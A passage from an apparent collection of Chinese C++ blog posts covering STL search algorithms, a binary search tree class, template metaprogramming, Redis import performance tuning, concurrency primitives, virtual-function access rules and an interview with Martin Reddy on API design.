    vector<int> v;
    for(int i = 0; i < 17; i++) {
        v.push_back(i);
    }
    int num = count_if(v.begin(), v.end(), greaterThan10);
    cout << "The number of the figure that greater than 10 is " << num << endl;
    return 0;
}

输出结果为：

The number of the figure that greater than 10 is 6

序列匹配算法

mismatch函数

该函数用于比较两个序列，找出首个不匹配元素的位置。它有两个使用原型，分别为不相等和不满足二元谓词条件。

该函数还涉及到pair的使用。

下面的实例程序比较两个整型容器，并找出不匹配的数字。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v1, v2;
    v1.push_back(3);
    v1.push_back(5);
    v1.push_back(5);
    v2.push_back(3);
    v2.push_back(5);
    v2.push_back(7);
    pair<vector<int>::iterator, vector<int>::iterator> result = mismatch(v1.begin(), v1.end(), v2.begin());
    if(result.first == v1.end() && result.second == v2.end()) {
        cout << "v1 is same as v2." << endl;
    } else {
        cout << "The dismatching figure are "
             << *(result.first) << " and "
             << *(result.second) << endl;
    }
    return 0;
}

输出结果为：

The dismatching figure are 5 and 7

equal函数

该函数逐一比较两个序列的元素是否相等，返回值为true/false，不返回迭代器值。它有两个使用原型，分别为元素相等和二元谓词判断条件。

下面的实例程序用于比较两容器中数字绝对值是否相等。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int absEqual(int x, int y) {
    //return (x == abs(y) || y == abs(x)) ? 1 : 0;
    return abs(x) == abs(y) ? 1 : 0;
}
int main(void) {
    vector<int> v1, v2;
    v1.push_back(3);
    v1.push_back(5);
    v1.push_back(5);
    v2.push_back(3);
    v2.push_back(5);
    v2.push_back(-5);
    if(equal(v1.begin(), v1.end(), v2.begin(), absEqual)) {
        cout << "The elements of v1 and v2 are equal in abosolute value." << endl;
    } else {
        cout << "The elements of v1 and v2 are not equal in abosolute value." << endl;
    }
    return 0;
}

输出结果为：

The elements of v1 and v2 are equal in abosolute value.

子序列搜索算法

search函数

该函数在一个序列中搜索与另一序列匹配的子序列。它有两个使用原型，分别为完全匹配和二元谓词判断。匹配成功则返回子序列的首个元素的迭代器值。

search函数与find_first_of函数形似，但不相同。search找的是一块相同的区域，要求这块区域与后面列表的元素及其顺序相同；find_first_of找的是一个元素，只要这个元素是后面一个列表的任意一个就行。

下面的实例程序说明了search与find_first_of的不同。

#include <iostream>
#include <algorithm>
#include <vector>
int main(void) {
    vector<int> v1, v2;
    v1.push_back(1);
    v1.push_back(4);
    v1.push_back(2);
    v1.push_back(3);
    v1.push_back(4);
    v2.push_back(2);
    v2.push_back(3);
    v2.push_back(4);
    vector<int>::iterator ivSearch, ivFind;
    ivSearch = search(v1.begin(), v1.end(), v2.begin(), v2.end());
    ivFind = find_first_of(v1.begin(), v1.end(), v2.begin(), v2.end());
    cout << "Position of search: " << ivSearch - v1.begin() << endl;
    cout << "Position of find_first_of: " << ivFind - v1.begin() << endl;
    return 0;
}

输出结果为：

Position of search: 2
Position of find_first_of: 1

search_n函数

该函数用于搜索序列中是否有一系列元素值均为某个给定值的子序列。它有两个使用原型，分别为值相等和满足谓词判断条件。

下面的实例程序展示了寻找3个连续的数字8的过程。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(8);
    v.push_back(8);
    v.push_back(8);
    v.push_back(4);
    vector<int>::iterator iv = search_n(v.begin(), v.end(), 3, 8);
    if(iv == v.end()) {
        cout << "There are no three consecutive 8." << endl;
    } else {
        cout << "Three consecutive 8 is founded." << endl;
    }
    return 0;
}

结果输出为：

Three consecutive 8 is founded.

find_end函数

该函数用于在一个序列中搜索出最后一个与另一序列匹配的子序列。用search函数作用相似，方向相反。

下面的实例程序，展示了搜索容器v中最后一个与v1匹配的子序列的过程。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v, v2;
    v.push_back(1);
    v.push_back(3);
    v.push_back(5);
    v.push_back(3);
    v.push_back(5);
    v.push_back(7);
    v2.push_back(3);
    v2.push_back(5);
    vector<int>::iterator iv = find_end(v.begin(), v.end(), v2.begin(), v2.end());
    if(iv != v.end()) {
        cout << "The position of last matching subsequence is " << iv - v.begin() << endl;
    }
    return 0;
}

输出结果为：

The position of last matching subsequence is 3

小结

本文主要介绍了C++ STL算法库中的非变易算法，是一些原则上不会变更操作数据的算法，包括：


	逐个查找算法：for_each


	元素搜索算法：find, find_if, adjacent_find, find_first_of


	元素统计算法：count, count_if


	序列匹配算法：mismatch, equal


	子序列搜索算法：search, search_n, find_end




这些函数均包含于<algorithm>头文件，本文给出的所有代码在VS2010中编译运行通过。

参考


	http://www.cplusplus.com/reference/algorithm/, <algorithm> - C++ Reference;


	C++ STL开发技术导引, 叶志军, 人民邮电出版社.




（全文完）


 二叉排序树实现（C++封装）

作者：zhoutk

来源： 二叉排序树实现（C++封装）



                    
一天一个算法，边回想算法细节，边捡回C++，试验性程序，留作记念。


设计思路


设计一个类，根结点只可读取，具备构造二叉树、插入结点、删除结点、查找、 查找最大值、查找最小值、查找指定结点的前驱和后继等功能接口。


二叉排序树概念


它或者是一棵空树；或者是具有下列性质的二叉树：

（1）若左子树不空，则左子树上所有结点的值均小于它的根结点的值；

（2）若右子树不空，则右子树上所有结点的值均大于它的根结点的值；

（3）左、右子树也分别为二叉排序树。


二叉排序树的各种操作


插入新节点

这是一个递归操作，递归设计时要找到最源头，才能得到最简设计。一种设计是判断叶子节点，把新节点作为叶子节点的孩子插入；一种是永远当作根进行插入，插入节点永远是当前子树的根！看代码：


//root为二级指针的原因是，如果树为空，需要将根修改反馈回来
bool BinaryTree::InsertNode(pNode * cuRoot, int data, pNode self)
{   //递归设计时找到最源头，才能得到最简设计
    if (*cuRoot == nullptr){
        pNode node = new Node;
        if (node == nullptr)
            return false;
        node->data = data;
        node->lChild = node->rChild = node->parent = nullptr;
        (*cuRoot) = node;
        node->parent = self;
        return true;
    }
    if (data > (*cuRoot)->data)
        InsertNode(&(*cuRoot)->rChild, data, *cuRoot);
    else
        InsertNode(&(*cuRoot)->lChild, data, *cuRoot);
    return true;
}



构造函数

一共两个重载函数：一个无参，一个接受数组利用插入函数直接构造二叉排序树。


BinaryTree::BinaryTree(int * datum, int len)
{
    root = nullptr;
    for (int i = 0; i < len; i++)
        InsertNode(&root, datum[i], root);
}

BinaryTree::BinaryTree()
{
    root = nullptr;
}



查找函数

这也是一个递归操作，为了对外隐藏root（根节点），因此编写了一个私有函数，进行真正的查找操作。


//真正的查找函数
BinaryTree::pNode BinaryTree::_searchKey(pNode root, int key){
    if (root == nullptr)
        return nullptr;
    if (root->data == key)    //找到了
        return root;
    else if (root->data > key)//值偏小，到左子树找
        return _searchKey(root->lChild, key);
    else                      //值偏大，到右子树找
        return _searchKey(root->rChild, key);
}
//对外接口
BinaryTree::pNode BinaryTree::SearchKey(int key){
    return _searchKey(root, key);
}



找前驱节点

要么为左子树中最大者，要么一直追溯其父节点链，第一个是其父节点的右孩子的父节点，即为所求。


BinaryTree::pNode BinaryTree::SearchPredecessor(pNode node){
    if (node == nullptr)
        return nullptr;
    else if (node->lChild != nullptr)
        return SearchMaxNode(node->lChild);
    else
    {
        if (node->parent == nullptr)
            return nullptr;
        while (node)
        {
            if (node->parent->rChild == node)
                break;
            node = node->parent;
        }
        return node->parent;
    }
}



找后继节点

与找前驱节点基本相似。

要么为右子树中最小者，要么一直追溯其父节点链，第一个是其父节点的左孩子的父节点，即为所求。


BinaryTree::pNode BinaryTree::SearchSuccessor(pNode node){
    if (node == nullptr)
        return nullptr;
    else if (node->rChild != nullptr)
        return SearchMinNode(node->rChild);
    else
    {
        if (node->parent == nullptr)
            return nullptr;
        while (node)
        {
            if (node->parent->lChild == node)
                break;
            node = node->parent;
        }
        return node->parent;
    }
}



找最小值


BinaryTree::pNode BinaryTree::SearchMinNode(pNode curNode){
    if (curNode == nullptr)
        return nullptr;
    //一直找到左子树为空的节点，即为最小值
    while (curNode->lChild != nullptr)
        curNode = curNode->lChild;
    return curNode;
}



找最大值


BinaryTree::pNode BinaryTree::SearchMaxNode(pNode curNode){
    if (curNode == nullptr)
        return nullptr;
    //一直找到右子树为空的节点，即为最大值
    while (curNode->rChild != nullptr)
        curNode = curNode->rChild;
    return curNode;
}



中序遍历


void BinaryTree::_visitMiddle(pNode root){
    if (root != nullptr){
        _visitMiddle(root->lChild);
        printf("%d;", root->data);
        _visitMiddle(root->rChild);
    }
}

void BinaryTree::VisitMiddle(){
    _visitMiddle(root);
}



删除节点

这个是最麻烦的操作，分四种情况分别处理，最麻烦的是被删节点左右子树都存在的情况，这时将被删节点内容换成其后继内容，删除其后继（递归）。


bool BinaryTree::DeleteNode(int key){
    //return _deleteNode(root, key);
    pNode node = SearchKey(key);
    if (!node)
        return false;
    //被删节点为叶子结点
    if (node->lChild == nullptr && node->rChild == nullptr){
        if (node->parent == nullptr){
            root = nullptr;
        }
        else
        {
            if (node->parent->lChild == node)
                node->parent->lChild = nullptr;
            else
                node->parent->rChild = nullptr;
        }
        delete node;
    }
    //被删节点只有左子树
    else if (node->lChild != nullptr && node->rChild == nullptr){
        //将左孩子的父亲指向被删节点的父亲
        node->lChild->parent = node->parent;
        //被删节点为根，修改根节点
        if (node->parent == nullptr)
            root = node->lChild;
        else if(node->parent->lChild == node)
            node->parent->lChild = node->lChild;
        else
            node->parent->rChild = node->lChild;
        delete node;
    }
    //被删节点只有右子树
    else if (node->lChild == nullptr && node->rChild != nullptr){
        //将右孩子的父亲指向被删节点的父亲
        node->rChild->parent = node->parent;
        //被删节点为根，修改根节点
        if (node->parent == nullptr)
            root = node->rChild;
        else if (node->parent->lChild == node)
            node->parent->lChild = node->rChild;
        else
            node->parent->rChild = node->rChild;
        delete node;
    }
    //被删节点左、右子树都有
    else {  //用后继节点取代删除节点，并删除后继
        pNode successor = SearchSuccessor(node);
        int temp = successor->data;
        DeleteNode(temp);
        node->data = temp;
    }
}



柝构函数

函数超出作用域范围时，清理占用内存。


BinaryTree::~BinaryTree()
{
    _delAllNode(root);
}
void BinaryTree::_delAllNode(pNode root){
    if (root != nullptr && root!=NULL){
        _delAllNode(root->lChild);
        _delAllNode(root->rChild);      
        DeleteNode(root->data);
    }
}



类的定义（头文件）


#pragma once

#include<stdio.h>  
#include<stdlib.h> 

class BinaryTree
{
private:
    typedef struct Node{
        struct Node * parent;
        struct Node * lChild;
        struct Node * rChild;
        int data;
    }*pNode;
    pNode root;
    void _visitMiddle(pNode root);
    pNode _searchKey(pNode root, int key);
    void _delAllNode(pNode root);
public:
    BinaryTree();
    BinaryTree(int * datum, int len);
    pNode SearchMaxNode(pNode node);
    pNode SearchMinNode(pNode node);
    pNode GetRoot();
    pNode SearchKey(int key);
    bool DeleteNode(int key);
    pNode SearchPredecessor(pNode node);
    pNode SearchSuccessor(pNode node);
    void VisitMiddle();
    bool InsertNode(pNode * cuRoot, int data, pNode self);
    ~BinaryTree();
};



调用示例


#include <conio.h>
#include "BinaryTree.h"

int main()
{
    int arrs[] = { 23, 65, 12, 3, 8, 76,  90, 21, 75, 34,345, 61 };
    int len = sizeof(arrs) / sizeof(arrs[0]);
    BinaryTree bTree(arrs,len);
    bTree.DeleteNode(90);
    bTree.VisitMiddle();
    getch();
    return 0;
}



 如何知道我的容器包了几层？

作者：pezy
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今天看到一个有趣的问题，请见下述例子：


cppvector<vector<int> > v2d;
vector<vector<vector<string>> > v3d;
vector<vector<vector<vector<double>>>> v4d;



如果给你 v2d、v3d 或是 v4d，你如何求得它们所包裹的层数？




万能的模板又要上场了：


cpptemplate<class Y> 
struct s
{
    enum {dims = 0};
};

template<class Y>
struct s<std::vector<Y>>
{
    enum {dims = s<Y>::dims + 1};
};



来测试一下吧：


cppstd::vector<std::vector<double> > x;
int n = s<decltype(x)>::dims; // n == 2;



这都属于 “乍看不难，细思恐极，模板棒喝” 的典型工程问题。。。


PS：搞图形的同志们应该会用得上~


 Redis数据导入工具优化过程总结

作者：大CC

来源： Redis数据导入工具优化过程总结



                    
Redis数据导入工具优化过程总结


背景


使用C++开发了一个Redis数据导入工具

从oracle中将所有表数据导入到redis中；

不是单纯的数据导入，每条oracle中的原有记录，需要经过业务逻辑处理，

并添加索引（redis集合）；

工具完成后，性能是个瓶颈；


优化效果


使用了2个样本数据测试：

样本数据a表8763 条记录；

b表940279 条记录；


优化前，a表耗时11.417s；

优化后，a表耗时1.883s；


用到的工具


gprof, pstrace,time


使用time工具查看每次执行的耗时，分别包含用户时间和系统时间；

使用pstrace打印实时运行，查询进程主要的系统调用，发现耗时点；

使用gprof统计程序的耗时汇总，集中精力优化最耗时的地方；

使用简介：

1.对g++的所有编辑和连接选项都必须要加上-pg（第一天由于没有在连接处加上-pg选项，导致无法出统计报告）；

2.执行完程序后，本目录会产生gmon.out文件；

3.gprof redistool gmou.out > report,生成可读文件report，打开report集中优化最耗时的函数；


优化过程


优化前11.417s：


time ./redistool im a a.csv
real    0m11.417s
user    0m6.035s
sys     0m4.782s （发现系统调用时间过长）



文件内存映射


系统调用时间过长，主要是文件读写，初步考虑是读取文件时，调用api次数过于频繁；

读取样本采用的是文件fgets一行行的读取，采用文件内存映射mmap后，可直接使用指针操作整个文件内存快；


日志开关提前


改进了文件读写后，发现优化效果比较有限（提高了2s左右）；fgets是C的文件读取库函数，相比系统read()，是带了缓冲区了，应该不会太慢（网上有人测试，文件内存映射相比fgets()能快上一个数量级，感觉场景应该比较特殊）；


之后通过pstrace工具发现log.dat打开次数过多；原来是调试日志的开关写到了后面，导致 调试日志都是会打开日志文件open("log.dat")；

将日志开关提前；改进后，3.53s


time ./redistool im a a.csv
real    0m3.530s
user    0m2.890s
sys     0m0.212s



vector空间预先分配


后续通过gprof分析，某个函数的vector内存分配次数多，并有不少复制次数：

改进以下这行代码：


vector <string> vSegment;



使用静态vector变量，并预先分配内存：


static vector <string> vSegment;
vSegment.clear();
static int nCount = 0;
if( 0 == nCount)
{
    vSegment.reserve(64);
}
++nCount;



优化后，提升至2.286s


real    0m2.286s
user    0m1.601s
sys     0m0.222s



同样，另外一个类中的成员vector也使用预先分配空间（在构造函数中)：


m_vtPipecmd.reserve(256);



优化后，提升至2.166s;


real    0m2.166s
user    0m1.396s
sys     0m0.204s



函数改写 && 内联


继续执行程序，发现SqToolStrSplitByCh()函数消耗过大，改写整个函数逻辑，并将改写后的函数内联：

优化后，提升至1.937s


real    0m1.937s
user    0m1.301s
sys     0m0.186s



去除调试符和优化监测符号


最后，去掉debug和pg调试符号后，最终效果为1.883s；


real    0m1.883s
user    0m1.239s
sys     0m0.191s



满足生产要求


以上最后几步看似毫秒级的提升，扩大到全表数据后，效果就很明显了；

优化后，生产上a表为152w，导入耗时大约326s（~6分钟）；

b表数据420w，导入耗时大约1103s（~18分钟）


推荐支持


如果你觉得本文对你有所帮助，请点击以下【推荐】按钮, 让更多人阅读；
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当优化扩展到多核时


"软件开发没有银弹，我们能做的就是选择和平衡;"


上一篇文章我们聊了在单线程下程序优化的5个方向（ref：《程序优化的5个方向》）；当单核优化到极值后，就到了多任务的情况；

想起来很清晰，单个任务分解成多个任务，让多个cpu同时来工作，并行执行，效率自然就上去了；

但，未必就这么简单；


任务分解的粒度


首先，我们需要确定，我们的单个任务是否可以分解；比如解析很多个文件，这样的任务划分成多个很简单；但如果是一个耗时的串行逻辑计算，后期的计算依赖前期的结果，这样就不好拆分；这种形式可能需要在更高层次上来拆分；


数据竞争


编程就是计算和数据；计算并行了，但数据还是访问同一份，访问共同的资源会产生资源竞争；

如果不进行控制，可能导致同一份数据重复计算（多个读的场景）或是脏数据的产生（有回写的场景）；


引入锁


为了让数据访问有序进行，需要引入锁来防止脏数据；

控制锁的粒度，是个需要精心考虑的话题；

比如对于大量读少量写的场景，相比一视同仁的加锁，使用读写锁能显著提升效率；

我们日常能接触到的产品中，数据库是个用锁高手，在更新数据的时候，是锁住行，还是列、或是表，不同的粒度性能相差明显；


惊群现象


考虑这样的场景：多个线程都在等在一个锁，如果可以拿到锁，线程就开始工作（线程池）

当锁被释放时，如果唤醒多个线程可能会产生 惊群现象；

解决方案：

使用单线程方案/处理accpet连接 处理等待锁的操作，让任何时刻只有一个线程在等待锁；

更多细节参考：
《客户-服务器程序设计方法》中 预先创建线程池，每个线程各自accept 一节


数据复制


让每个线程使用自己的数据，让数据不共有，这样能去掉资源竞争，去掉锁；

将数据复制为多份，减少竞争，各自访问各自的数据；

但这又引入了一个新的问题：如果各个线程回写了数据，如何保证这么数据的一致性？

毕竟它们代表的其实是一份数据；


涉及到数据的一致性，多份数据之间的同步又是个难题；


数据分片


那好，换个思路，不使用数据复制；我们使用数据分片；分片这个思想更容易想到，既然“计算”被划分为多个小任务了，那么数据也可以同样处理；

将数据分片，每份数据存的内容不相同，它们之间没有共同点；

这样，数据访问没有数据竞争，同时由于数据不同，也不涉及到数据一致性同步的问题；

但，分片远远没有想的那么美好；

分片导致了每个线程看到数据不再是全集，而是片段；这就注定了这个线程只能处理这部分的特定数据；这样，线程之间的计算失去了可替换性；某种工作只能在特定的线程上处理；

而如果有个任务需要访问所有的数据，这样就变得更加复杂；

原来，分片之后，我们将难题向上推了，推到线程层面，需要考虑到业务逻辑层面的处理；

这样，可能更加复杂；


ok,想要速度更快，使用多核来处理，需要面对更多的问题；

将单机扩展多机集群，涉及到架构层面来看，其实我们的面对的问题是类似的；

参考：《大型网站技术架构》读书笔记[2] - 架构的模式


软件开发没有银弹，我们能做的就是选择和平衡；


Posted by: 大CC | 13AUG,2015

博客：blog.me115.com [订阅]

Github：大CC
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上一篇文章中讲到， 我打算写一篇文章，聊聊async、packaged_task和promise的区别。所以现在我就来填坑了。


TL;DR



	
async：提供最高层次的抽象。如果你不需要控制线程的运行时机，就选这个。

	
packaged_task：抽象层次比async低。如果你需要控制线程的运行时机，且线程执行的结果即目标结果时，选这个。

	
promise：抽象层次最低。当你想在线程中设置目标结果的值，选这个。



如果你想了解得更详细，那就继续往下看吧。


同台竞技


async、packaged_task和promise三者有一个共同点：它们都可以返回一个future对象，用户可以通过这个future的get方法获取最终的结果。


在下面的代码中，分别用这三者实现同样的功能：延时2秒后返回0：


#include <chrono>
#include <future>
#include <iostream>
#include <thread>

int main()
{
    std::packaged_task<int()> task([](){ 
            std::chrono::milliseconds dura( 2000  );
            std::this_thread::sleep_for( dura  );
            return 0; 
            });
    std::future<int> f1 = task.get_future();
    std::thread(std::move(task)).detach();

    std::future<int> f2 = std::async(std::launch::async, [](){ 
            std::chrono::milliseconds dura( 2000  );
            std::this_thread::sleep_for( dura  );
            return 0; 
            });

    std::promise<int> p;
    std::future<int> f3 = p.get_future();
    std::thread([](std::promise<int> p){ 
            std::chrono::milliseconds dura( 2000  );
            std::this_thread::sleep_for( dura  );
            p.set_value(0); 
            },
            std::move(p)).detach();

    std::cout << "Waiting..." << std::flush;
    f1.wait();
    f2.wait();
    f3.wait();
    std::cout << "Done!\nResults are: "
        << f1.get() << " " << f2.get() << " " << f3.get() << "\n";
    return 0;
}



从上面这段代码可以看到，这三者分别工作在不同的抽象层次上。



	
async层次最高，你只需要给它提供一个函数，它就会返回一个future对象。接下来就只需等待结果了。

	
packaged_task次之，你在创建了packaged_task后，还要创建一个thread，并把packaged_task交给它执行。

	
promise就最低了。在创建了thread之后，你还要把对应的promise作为参数传入。这还没完，别忘了在函数中手动设置promise的值。



那么我们的第一个结论就很清晰了：async抽象层次最高，所以除非你需要对并发过程进行细粒度的控制（比如在一些场合下），优先使用async来执行异步任务。


那么什么属于是“一些场合”呢？


async VS. packaged_task and promise


前面已经看到，async会接收一个函数，并返回一个future。在默认情况下，该函数会被就地执行。这也许不是你想要的。通过传递std::launch::defer，可以修改为直到调用future.get才开始执行async中的函数。


即使这样，如果你想把执行函数的时机和获取future对象的时机分离，最好还是放弃用async，而是使用更为底层的packaged_task和promise。


BTW，async有一个古怪的特性，如果你把async返回的future赋值给一个临时变量（或者没管它的返回值），当该变量生命周期结束时，程序会一直阻塞直到async中的函数执行完毕。


{
    std::future<int> tmp = std::async(std::launch::async, [](){ 
            std::chrono::milliseconds dura(VERY_LONG_TIME);
            std::this_thread::sleep_for(dura);
            return 0; 
    });
    // block here for VERY_LONG_TIME
}



这种意料之外的行为会在C++14中被取消掉。所以你用的编译器可能不会遇到这问题。


packaged_task VS. promise


剩下的两个之中怎么选呢？


promise的层次比packaged_task低，所以promise提供给用户的控制粒度也比packaged_task要细。因此，如果你想要更彻底的控制，就选择promise吧。


promise几乎就是future的另一半。对promise调用set_value，就如同对future调用set_value。比起packaged_task，promise并不在意函数的返回值——毕竟它的值需要手动调用set_value进行设置。


 无处不在的托关系

作者：pezy

来源： 无处不在的托关系



                    
现实世界中，托关系的现象屡见不鲜。托个关系，就能比别人少奋斗好多年，这未免让许多无背景的屌丝码农扼腕长叹。但更令人绝望的是，C++ 里竟也有类似的情况。


话不多说，上例子：


cpp#include <iostream>
using namespace std;

class B {
public:
    virtual void f() { cout << "virtual function" << endl; }
};

class D : public B {
private:
    void f() { cout << "private function" << endl; }
};

int main()
{
    D d;
    B* pb = &d;
    pb->f();
}



输出：


private function



对于 D 类来说，f() 分明是一个 private 的成员。我们却用了一些小手段，绕开了权限，成功的调用了它。这是不是有违 OO 的设计原则呢？


定定神，细细看，发现这原来是被爹给坑了。父类 B 中竟然为 f() 这个虚方法开了 public 权限。以至于无耻之辈，贿赂儿子碰了灰，竟去找他爹托关系！愣是让丫得逞了。。。




好吧，扯淡到此结束。这个例子其实脱胎于 C++11 的标准(草稿N3690)。



  11.5 Access to virtual functions [class.access.virt]





  
	The access rules (Clause 11) for a virtual function are determined by its declaration and are not aﬀected by the rules for a function that later overrides it. [Example: 

  




cppclass B { 
public: 
    virtual int f(); 
};

class D : public B { 
private: 
    int f(); 
};

void f() { 
    D d; 
    B* pb = &d; 
    D* pd = &d; 
    pb->f(); // OK: B::f() is public, 
             // D::f() is invoked 
    pd->f(); // error: D::f() is private 
} 




  —end example]




注意加粗的地方。虚方法的权限只由其声明确定，并不受后续 override 函数权限的影响。


以此为戒。


  C++ API设计大师Martin Reddy：选择最合适的语言

作者：图灵访谈

来源：  C++ API设计大师Martin Reddy：选择最合适的语言



                    

  非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/58481




Martin Reddy博士是软件行业的一名老兵，有着15年以上的从业经验，早年，他曾在SRI International 供职5年，他成功创建了在Web上描述3D地球空间信息模型的ISO标准，并且还连续两年被选为Web3D协会的会长。他曾在Pixar动画工作室工作过6年，担任内部动画系统的首席工程师，这些API在一些奥斯卡获奖及提名影片的制作中都发挥了关键作用，这些影片包括《海底总动员》、《超人总动员》、《赛车总动员》、《料理鼠王》，以及《机器人总动员》等。据说《超人总动员》中的超人爸爸的头部原型就是借用自Martin Reddy。　　


他还开办了一家咨询公司Code Reddy，为各家软件公司提供技术咨询，为大型在线3D虚拟世界《第二人生》设计了API并改善了其基本架构。现在Martin Reddy担任ToyTalk公司的首席技术官。我们联系他的时候，他正在为公司即将发布的第一个产品忙得不可开交。





图灵社区：恭喜你们公司在最近推出了新产品，你们的新产品是基于语音识别和人工智能技术，你认为语音识别和人工智能会是未来的主要发展方向之一？



  Reddy：非常感谢！是的，在几年前，Siri问世之后，我们就开始看到越来越多的用语音作为输入机制的应用和设备。从控制电话，到电视，再到游戏控制。我认为我们想和计算机交流的方式应该和我们彼此间交流的方式相同。所以我预测我们将会看到语音识别技术的大规模飞跃，而且为了更好地理解我们说的话和做出合适的回应，自然语言处理和人工智能这些相关领域发展也会日新月异。




图灵社区：你曾经为Pixar动画工作室工作过，这是一家领先于世界的团队。你把它的成功更多地归功于创造力还是它在技术上的优越性？



  Reddy：从基础的层面来说，Pixar的成功可以归功于富有创造力的故事设计。复杂的故事线，讨喜的角色，以及机智的对白会让你钟情于这部电影；而不是射线追踪反射，或者新的子面散射算法。但是，Pixar的独特之处更在于它能够把好故事和精彩的3D图像相结合。就像是John Lasseter（《玩具总动员》、《怪物公司》导演，《海底总动员》 和 《超人总动员》制片人）所说的那样：“艺术挑战科技，而科技激发艺术。”




图灵社区：除了C++你还喜欢什么语言？你喜欢什么工具？



  Reddy：我喜欢用合适的工具来做合适的工作。C++对于开发可移植和性能优先的代码来说是一门很好的语言。但是其他的语言对于其他的工作很可能更加胜任，而且有些语言在某些环境下可以达到独霸天下的程度，比如Objective-C之于iOS，JavaScript之于网页。当我可以选择的时候，我就爱上了Python。我曾经喜欢使用perl或者shell脚本编程，我现在转向了Python。甚至对于很多GUI工具，我也转向了Python，PyQt和 PyInstaller环境下，我可以很快的开发代码，然后作为独立的二进制代码在Windows, Mac OS X， 以及Linux平台上运行。对于我来说Python的最大问题在于run-time类型查看的时候容易把代码运送给用户，这样就会因为类型不匹配或者未定义名称而造成运行时的异常。为了弥补这个缺憾，我会经常在我的Python代码上使用源码检查器，比如PyFlakes 或者 PyChecker。




图灵社区： C++的应用领域变得越来越小，你认为它未来会有什么样的发展？C++的强势领域在哪里？你认为C++的演进方向是什么样的？



  Reddy：好问题！我一直以来看见的都是C/C++处在最受欢迎语言的前列，但是其他的语言也在变得越来越被大家接受。在我的公司我们仍然在很多场合使用C++，因为它可以成为在众多平台上都能运转的有效代码，同时也可以进入性能优先的3D图像库和语音识别系统。但是，新的设备和环境已经让其他语言变得越来越突出。比如移动、平板，以及web开发现在正值火热的时候，而且现在看来这样的势头在未来只会有增无减。我认为C++在我前面说过的领域中是很强势的，但是这些新涌现出的编程环境会有一些不同的需求，而C++对于这些需求来说未必是最好的选择。我认为这是一件好事。




图灵社区：你怎么看C++新标准？它会影响API的设计吗？现存的库如何保持更新呢？



  Reddy： C++11对于C++来说有很多很棒的提升。对于API设计而言，有很多新的特性你可以拿来用在你的API上，包括向元组、匿名函数、线程基元、智能指针，以及崭新的重写和最终关键词。当然，如果你的API必须要被无法使用C++11编译器的客户使用的话，那么你就需要维持C++03语法了，或者为你的C++11客户提供一个API包装器。




图灵社区： C++的ACE框架相当复杂，但ACE是当年分布式框架的首选。现今可选的技术相当多，使用复杂的C++构建分布式应用还有优势吗？有没有更易用的C++网络技术框架？



  Reddy：我对ACE不是十分了解，但是有一些可以选择的底层网络框架，包括Boost Asio, cpp-netlib, 以及Qt的网络访问API。




图灵社区：一个新设计的系统API，早期版本经常陷入“狂热”的增加特性（接口、参数、用途），而到了稳定期却常常成为升级时甩不掉的包袱，甚至连早期bug都会变成被迫持续支持的“feature”。请问设计第一版API时如何在表达力、易用性、兼容性方面达到平衡？



  Reddy：这是API设计最为重要的部分之一：保持事情的简单性。有一点你说得很对，所有出现在早期版本API中的特性都必须在API的整个生命周期中得到持续支持（除非你打破向后兼容性的限制）。我支持不要在接口上添加任何东西的办法，除非真的有必要。不要添加任何现在没有用，但是你怀疑可能在未来会有用的东西。集中精力解决核心问题。




图灵社区： Go语言变得越来越流行了，你对这门打算要取代C/C++的语言是什么态度？



  Reddy：我爱Go！它真是一门伟大的语言。事实上，在我们公司里，我们在服务器端的基础设施上用的都是Go语言。它的编译方式是静态类型的，这一点和C以及C++很像，但是设计上却比C++简单很多，而且Go有强大的网络支持以及内置并发性基元，这点真是太妙了。而且Go语言的设计人之一正是Ken Thompson，他也是C语言的最初设计人，所以这门语言注定是很靠谱的！




图灵社区：像Python这样的“可执行伪代码”被越来越多的人所接受，你能预测一下未来的编程语言会是什么样的吗？是写文章一样任人都会还是仍然属于程序员？



  Reddy：像我上面说的那样，我喜欢Python。它解读清晰和动态类型的特性让它变得更容易上手，更好学习。加上大量的标准库以及垃圾回收存储器管理，我认为Python是最适合作为第一门编程语言来学习的。我也认同Python可以服务于非计算机科学家，来帮助大家实现计算和自动化，比如Python已经在生物信息领域里非常受欢迎。但是我认为我们始终会存在语言的分水岭，不同语言会有各自适合的领域。有一些语言对于普通人来说更加平易近人，但是我相信我们仍然需要以性能为目的，可编译、静态类型的语言，这些语言在效率和准确性至上的领域会更为重要。




图灵社区：作为程序员应该怎么学习？要变成编程大牛需要数十年的时间吗？有没有捷径可走？对于计算机专业的大学生们，你有什么特别的建议吗？



  Reddy：我认为要变成编程大牛不需要数十年的时间。但是我认为要了解你的编程语言的深度和细节需要很多的热情，要理解你的编译器或注释器是如何帮助你的，它们在后台做的工作细节是什么样的。对于C++来说，你理解如何为模板生成代码吗？你知道虚函数表是如何工作的吗？或者多重继承的问题在哪里？对于Python来说，你理解引用计数是如何工作的吗？你知道变量是由值还是由引用通过的？对于你工作上最重要的工具，不要满足于表面的知识。你对自己的工具了解越深，你就会成为更好的程序员。

  
  但是我个人认为一个好的程序员和一个好的工程师是不同的。优秀的程序员知道如何写代码，而一个优秀的工程师知道如何架构以及如何建造复杂的系统，在这样的结构上会有更多的工程师为其工作。要成为一个好的工程师更加困难，而最好的老师就是经验。所以我会建议在校生去拥有大型软件产品的公司做实习，同时作为工程师团队的一员，学习在复杂生产的软件上工作的流程和技巧。




图灵社区：在中国，很多人都更倾向于成为管理层。你认为程序员可以作为一生的事业吗？



  Reddy：这是个有趣的现象，因为我看到的多数高级工程师都想一直写代码，而不想变成管理层。如果你很擅长你正在做的工作，你可能就会得到升职，从传统意义上讲，这就意味着管理层。但是我现在看见很多“双轨”型的事业发展，尤其在科技公司里，也就是说你会得到升职但是仍然从事一线的开发工作。比如在Pixar的时候，我们就有一个“技术带头人”，这个人就会决定其他几位工程师的技术方向，而另一位“管理带头人”就会接受大家的报告，同时也要指导并为这些人写评语。当然，像技术总监、软件架构师、以及主工程师这样的路线都是你提高自己的方向，所以你没有必要非得担负起管理这个包袱。






更多精彩，加入图灵访谈微信！





 我是如何写出1W行C++代码的

作者：qpwoeiru96

来源： 我是如何写出1W行C++代码的



                    
标题党，真正题目应该是我是如何生成出1W行C++代码的。

